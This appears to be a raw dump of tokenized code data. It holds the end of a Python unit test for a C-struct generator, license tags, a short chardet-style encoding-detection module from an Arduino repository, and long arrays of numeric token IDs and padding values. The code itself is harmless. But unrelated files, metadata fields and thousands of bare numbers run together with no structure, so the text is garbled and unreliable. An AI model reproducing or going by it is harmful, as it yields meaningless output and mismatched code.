[3, 4], lines, ' ', {}) self.assertEquals('const int array_test_my_array[] = {\n' + ' 3,\n' + ' 4,\n' + '};\n' + 'STRUCT BEGINS\n' + ' array_test_my_array,\n' + ' 2,', '\n'.join(lines)) lines = ['STRUCT BEGINS']; GenerateFieldContent('test', {'field': 'my_array', 'type': 'array', 'contents': {'type': 'int'}}, [3, 4], lines, ' ', {'array_test_my_array': 1}) self.assertEquals('const int array_test_my_array_1[] = {\n' + ' 3,\n' + ' 4,\n' + '};\n' + 'STRUCT BEGINS\n' + ' array_test_my_array_1,\n' + ' 2,', '\n'.join(lines)) def testGenerateElements(self): schema = [ {'field': 'f0', 'type': 'int', 'default': 1000, 'optional': True}, {'field': 'f1', 'type': 'string'}, {'field': 'f2', 'type': 'enum', 'ctype': 'QuasiBool', 'default': 'MAYBE', 'optional': True}, {'field': 'f3', 'type': 'array', 'contents': {'type': 'string16'}, 'optional': True}, { 'field': 'f4', 'type': 'struct', 'type_name': 'InnerType', 'fields': [ {'field': 'g0', 'type': 'string'} ], 'optional': True }, { 'field': 'f5', 'type': 'array', 'contents': { 'type': 'struct', 'type_name': 'InnerType', 'fields': [ {'field': 'a0', 'type': 'string'}, {'field': 'a1', 'type': 'string'} ] }, 'optional': True } ] description = { 'int_variables': {'a': -5, 'b': 5}, 'elements': { 'elem0': {'f0': 5, 'f1': 'foo', 'f2': 'SURE'}, 'elem1': {'f2': 'NOWAY', 'f0': -2, 'f1': 'bar'}, 'elem2': {'f1': 'foo_bar', 'f3': [u'bar', u'foo']}, 'elem3': {'f1': 'foo', 'f4': {'g0': 'test'}}, 'elem4': {'f1': 'foo', 'f5': [{'a0': 'test0', 'a1': 'test1'}]}, } } # Build the expected result stream based on the unpredicatble order the # dictionary element are listed in. int_variable_expected = { 'a': 'const int a = -5;\n', 'b': 'const int b = 5;\n', } elements_expected = { 'elem0': 'const MyType elem0 = {\n' ' 5,\n' ' "foo",\n' ' SURE,\n' ' NULL,\n' ' 0,\n' ' {0},\n' ' NULL,\n' ' 0,\n' '};\n', 'elem1': 'const MyType elem1 = {\n' ' -2,\n' ' "bar",\n' ' NOWAY,\n' ' NULL,\n' ' 0,\n' ' {0},\n' ' NULL,\n' ' 0,\n' '};\n', 'elem2': 'const wchar_t* const array_elem2_f3[] = {\n' ' L"bar",\n' ' L"foo",\n' '};\n' 'const MyType elem2 = {\n' ' 1000,\n' ' "foo_bar",\n' ' MAYBE,\n' ' array_elem2_f3,\n' ' 2,\n' ' {0},\n' ' NULL,\n' ' 0,\n' '};\n', 'elem3': 'const MyType elem3 = {\n' ' 1000,\n' ' "foo",\n' ' MAYBE,\n' ' NULL,\n' ' 0,\n' ' {\n' ' "test",\n' ' },\n' ' NULL,\n' ' 0,\n' '};\n', 'elem4': 'const InnerType array_elem4_f5[] = {\n' ' {\n' ' "test0",\n' ' "test1",\n' ' },\n' '};\n' 'const MyType elem4 = {\n' ' 1000,\n' ' "foo",\n' ' MAYBE,\n' ' NULL,\n' ' 0,\n' ' {0},\n' ' array_elem4_f5,\n' ' 1,\n' '};\n' } expected = '' for key, value in description['int_variables'].items(): expected += int_variable_expected[key] expected += '\n' elements = [] for key, value in description['elements'].items(): elements.append(elements_expected[key]) expected += '\n'.join(elements) result = GenerateElements('MyType', schema, description) self.assertEquals(expected, result) def testGenerateElementsMissingMandatoryField(self): schema = [ {'field': 'f0', 'type': 'int'}, {'field': 'f1', 'type': 'string'}, ] description = { 'int_variables': {'a': -5, 'b': 5}, 'elements': { 'elem0': {'f0': 5}, } } self.assertRaises(RuntimeError, lambda: GenerateElements('MyType', schema, description)) if __name__ == '__main__': unittest.main()
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6029, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 504, 1819, 63, 4679, 492, 7958, 792, 2714, 199, 504, 1819, 63, 4679, 492, 7958, 6255, 199, 646, 2882, 199, 199, 533, 6566, 7599, 774, 8, 2796, 14, 1746, 304, 523, 347, 511, 6864, 3241, 792, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 442, 297, 283, 885, 356, 959, 1386, 488, 12, 2385, 12, 283, 221, 1656, 586, 5009, 272, 291, 14, 2947, 2941, 221, 959, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 442, 297, 283, 885, 356, 959, 1386, 3144, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 3144, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 442, 2267, 446, 19, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 446, 19, 12, 995, 2385, 9, 819, 347, 511, 6864, 14912, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 297, 283, 885, 356, 283, 1421, 63, 1700, 2267, 488, 12, 586, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 298, 1421, 63, 1700, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 297, 283, 885, 356, 283, 1421, 2267, 283, 1700, 60, 78, 297, 586, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 298, 1700, 1103, 78, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 2267, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 5962, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 2267, 283, 1421, 297, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 298, 1421, 401, 995, 2385, 9, 819, 347, 511, 6864, 1558, 975, 792, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 297, 2892, 283, 885, 356, 399, 7, 70, 60, 85, 383, 68, 24, 60, 85, 383, 68, 2835, 65, 2267, 586, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 491, 2, 70, 1103, 88, 383, 68, 24, 2, 491, 22996, 88, 383, 68, 24, 2, 491, 2, 17, 65, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 297, 283, 885, 356, 283, 1421, 2267, 586, 399, 7, 66, 60, 947, 19, 65, 21, 82, 297, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 491, 2, 66, 1103, 1812, 19, 65, 21, 2, 491, 2, 82, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 2267, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 5962, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 2267, 399, 7, 1421, 1103, 85, 4321, 297, 2385, 12, 283, 221, 1656, 586, 5009, 272, 291, 14, 2947, 2941, 221, 491, 2, 1421, 8712, 85, 4321, 401, 995, 2385, 9, 819, 347, 511, 6864, 5081, 792, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 4869, 297, 283, 885, 356, 283, 7387, 2267, 488, 12, 2385, 12, 586, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 23443, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 4869, 297, 283, 885, 356, 283, 7387, 2267, 283, 23113, 297, 2385, 12, 586, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 26774, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 4869, 2267, 283, 23536, 297, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 31408, 12, 995, 2385, 9, 819, 347, 511, 6864, 3836, 792, 2714, 8, 277, 304, 272, 2385, 275, 788, 8893, 16427, 51, 418, 27, 272, 7958, 792, 2714, 360, 396, 297, 791, 466, 356, 283, 1144, 297, 283, 4407, 356, 791, 466, 356, 283, 442, 28400, 586, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 8893, 16427, 51, 297, 283, 221, 5962, 12, 297, 283, 221, 378, 12, 995, 2385, 9, 272, 2385, 275, 788, 8893, 16427, 51, 418, 27, 272, 7958, 792, 2714, 360, 396, 297, 791, 698, 356, 283, 1662, 63, 1144, 297, 283, 466, 356, 283, 1144, 297, 3303, 283, 4407, 356, 791, 466, 356, 283, 442, 28400, 586, 359, 19, 12, 841, 467, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 360, 1297, 1109, 1625, 63, 396, 63, 1662, 63, 1144, 8607, 275, 9459, 78, 7, 435, 489, 283, 221, 650, 4202, 78, 7, 435, 489, 283, 221, 841, 4202, 78, 7, 435, 489, 283, 16055, 78, 7, 435, 489, 283, 8893, 16427, 51, 60, 78, 7, 435, 489, 283, 221, 1625, 63, 396, 63, 1662, 63, 1144, 4202, 78, 7, 435, 489, 283, 221, 499, 12, 297, 1557, 78, 1370, 904, 8, 1278, 430, 272, 2385, 275, 788, 8893, 16427, 51, 418, 27, 272, 7958, 792, 2714, 360, 396, 297, 791, 698, 356, 283, 1662, 63, 1144, 297, 283, 466, 356, 283, 1144, 297, 3303, 283, 4407, 356, 791, 466, 356, 283, 442, 28400, 586, 359, 19, 12, 841, 467, 2385, 12, 283, 221, 1656, 791, 1144, 63, 396, 63, 1662, 63, 1144, 356, 413, 1552, 272, 291, 14, 2947, 360, 1297, 1109, 1625, 63, 396, 63, 1662, 63, 1144, 63, 17, 8607, 275, 9459, 78, 7, 435, 489, 283, 221, 650, 4202, 78, 7 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6029, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 504, 1819, 63, 4679, 492, 7958, 792, 2714, 199, 504, 1819, 63, 4679, 492, 7958, 6255, 199, 646, 2882, 199, 199, 533, 6566, 7599, 774, 8, 2796, 14, 1746, 304, 523, 347, 511, 6864, 3241, 792, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 442, 297, 283, 885, 356, 959, 1386, 488, 12, 2385, 12, 283, 221, 1656, 586, 5009, 272, 291, 14, 2947, 2941, 221, 959, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 442, 297, 283, 885, 356, 959, 1386, 3144, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 3144, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 442, 2267, 446, 19, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 446, 19, 12, 995, 2385, 9, 819, 347, 511, 6864, 14912, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 297, 283, 885, 356, 283, 1421, 63, 1700, 2267, 488, 12, 586, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 298, 1421, 63, 1700, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 297, 283, 885, 356, 283, 1421, 2267, 283, 1700, 60, 78, 297, 586, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 298, 1700, 1103, 78, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 2267, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 5962, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 2267, 283, 1421, 297, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 298, 1421, 401, 995, 2385, 9, 819, 347, 511, 6864, 1558, 975, 792, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 297, 2892, 283, 885, 356, 399, 7, 70, 60, 85, 383, 68, 24, 60, 85, 383, 68, 2835, 65, 2267, 586, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 491, 2, 70, 1103, 88, 383, 68, 24, 2, 491, 22996, 88, 383, 68, 24, 2, 491, 2, 17, 65, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 297, 283, 885, 356, 283, 1421, 2267, 586, 399, 7, 66, 60, 947, 19, 65, 21, 82, 297, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 491, 2, 66, 1103, 1812, 19, 65, 21, 2, 491, 2, 82, 401, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 2267, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 5962, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 875, 975, 2267, 399, 7, 1421, 1103, 85, 4321, 297, 2385, 12, 283, 221, 1656, 586, 5009, 272, 291, 14, 2947, 2941, 221, 491, 2, 1421, 8712, 85, 4321, 401, 995, 2385, 9, 819, 347, 511, 6864, 5081, 792, 2714, 8, 277, 304, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 4869, 297, 283, 885, 356, 283, 7387, 2267, 488, 12, 2385, 12, 586, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 23443, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 4869, 297, 283, 885, 356, 283, 7387, 2267, 283, 23113, 297, 2385, 12, 586, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 26774, 12, 995, 2385, 9, 272, 2385, 275, 22750, 272, 7958, 792, 2714, 8594, 791, 466, 356, 283, 4869, 2267, 283, 23536, 297, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 221, 31408, 12, 995, 2385, 9, 819, 347, 511, 6864, 3836, 792, 2714, 8, 277, 304, 272, 2385, 275, 788, 8893, 16427, 51, 418, 27, 272, 7958, 792, 2714, 360, 396, 297, 791, 466, 356, 283, 1144, 297, 283, 4407, 356, 791, 466, 356, 283, 442, 28400, 586, 488, 12, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 2941, 8893, 16427, 51, 297, 283, 221, 5962, 12, 297, 283, 221, 378, 12, 995, 2385, 9, 272, 2385, 275, 788, 8893, 16427, 51, 418, 27, 272, 7958, 792, 2714, 360, 396, 297, 791, 698, 356, 283, 1662, 63, 1144, 297, 283, 466, 356, 283, 1144, 297, 3303, 283, 4407, 356, 791, 466, 356, 283, 442, 28400, 586, 359, 19, 12, 841, 467, 2385, 12, 283, 221, 1656, 5009, 272, 291, 14, 2947, 360, 1297, 1109, 1625, 63, 396, 63, 1662, 63, 1144, 8607, 275, 9459, 78, 7, 435, 489, 283, 221, 650, 4202, 78, 7, 435, 489, 283, 221, 841, 4202, 78, 7, 435, 489, 283, 16055, 78, 7, 435, 489, 283, 8893, 16427, 51, 60, 78, 7, 435, 489, 283, 221, 1625, 63, 396, 63, 1662, 63, 1144, 4202, 78, 7, 435, 489, 283, 221, 499, 12, 297, 1557, 78, 1370, 904, 8, 1278, 430, 272, 2385, 275, 788, 8893, 16427, 51, 418, 27, 272, 7958, 792, 2714, 360, 396, 297, 791, 698, 356, 283, 1662, 63, 1144, 297, 283, 466, 356, 283, 1144, 297, 3303, 283, 4407, 356, 791, 466, 356, 283, 442, 28400, 586, 359, 19, 12, 841, 467, 2385, 12, 283, 221, 1656, 791, 1144, 63, 396, 63, 1662, 63, 1144, 356, 413, 1552, 272, 291, 14, 2947, 360, 1297, 1109, 1625, 63, 396, 63, 1662, 63, 1144, 63, 17, 8607, 275, 9459, 78, 7, 435, 489, 283, 221, 650, 4202, 78, 7, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
snargledorf/Arduino
arduino-core/src/processing/app/i18n/python/requests/packages/charade/__init__.py
168
1055
######################## BEGIN LICENSE BLOCK ######################## # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### __version__ = "1.0.1" def detect(aBuf): from . import universaldetector u = universaldetector.UniversalDetector() u.reset() u.feed(aBuf) u.close() return u.result
lgpl-2.1
[ 6565, 16427, 5113, 8068, 11945, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 363, 1023, 363, 275, 298, 17, 14, 16, 14, 17, 2, 421, 199, 318, 9696, 8, 22353, 304, 272, 687, 1275, 492, 17508, 19401, 272, 399, 275, 17508, 19401, 14, 1358, 10959, 24402, 342, 272, 399, 14, 3958, 342, 272, 399, 14, 3871, 8, 22353, 9, 272, 399, 14, 1600, 342, 272, 372, 399, 14, 1099, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 16427, 5113, 8068, 11945, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 363, 1023, 363, 275, 298, 17, 14, 16, 14, 17, 2, 421, 199, 318, 9696, 8, 22353, 304, 272, 687, 1275, 492, 17508, 19401, 272, 399, 275, 17508, 19401, 14, 1358, 10959, 24402, 342, 272, 399, 14, 3958, 342, 272, 399, 14, 3871, 8, 22353, 9, 272, 399, 14, 1600, 342, 272, 372, 399, 14, 1099, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 